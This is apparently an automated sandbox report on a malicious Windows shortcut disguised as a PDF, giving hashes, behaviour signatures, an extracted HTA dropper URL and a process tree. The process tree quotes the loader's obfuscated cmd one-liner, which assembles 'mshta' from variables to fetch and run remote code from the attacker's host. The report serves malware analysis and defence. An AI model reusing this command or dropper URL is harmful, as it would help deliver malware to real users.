Analysis
- max time kernel
148s - max time network
146s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:44
Static task
static1
Behavioral task
behavioral1
Sample
PDFDOC-KUKN0P.lnk
Resource
win10v2004-20260513-en
15 signatures
150 seconds
Behavioral task
behavioral2
Sample
PDFDOC-KUKN0P.lnk
Resource
win11ltsc2024-20260709-en
4 signatures
150 seconds
General
- Target PDFDOC-KUKN0P.lnk
- Size 1KB
- Sample260803-q146caae56
- SHA256 dcc4fd532e4d41160a1f3fbde0a517613b03c84281336edd64623eae19f55180
- MD5 8621eb277bae74b3254fb75f01438684
- SHA1 3ffa1d1adead214a2f3d5ae65247cc99a88ad077
- SHA512 f979f528defadab6b71b15703586fd46a85ab972fe479da756e2e5f94d1e71687eec12c4f8ab2f10de2844aa3b92f0a025da608d5c6f171698229ad1e9c59992
- TLSH T11631CB003FFE0624F3F39EB280BB5B2489BFB8968D10C62D0040854C9132A15E17AF6B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 5476 mshta.exe 3 5476 mshta.exe 4 5476 mshta.exe 5 5476 mshta.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5000 cmd.exe 1632 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5000 wrote to memory of 1632 5000 cmd.exe 90 PID 1632 wrote to memory of 5476 1632 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\PDFDOC-KUKN0P.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5000 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /C "set CfBtm=msh&&set MvBQ=ta&&start "" !CfBtm!!MvBQ! https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1632 -
C:\Windows\System32\mshta.exemshta https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D13⤵
- Badlisted process makes network request
PID:5476
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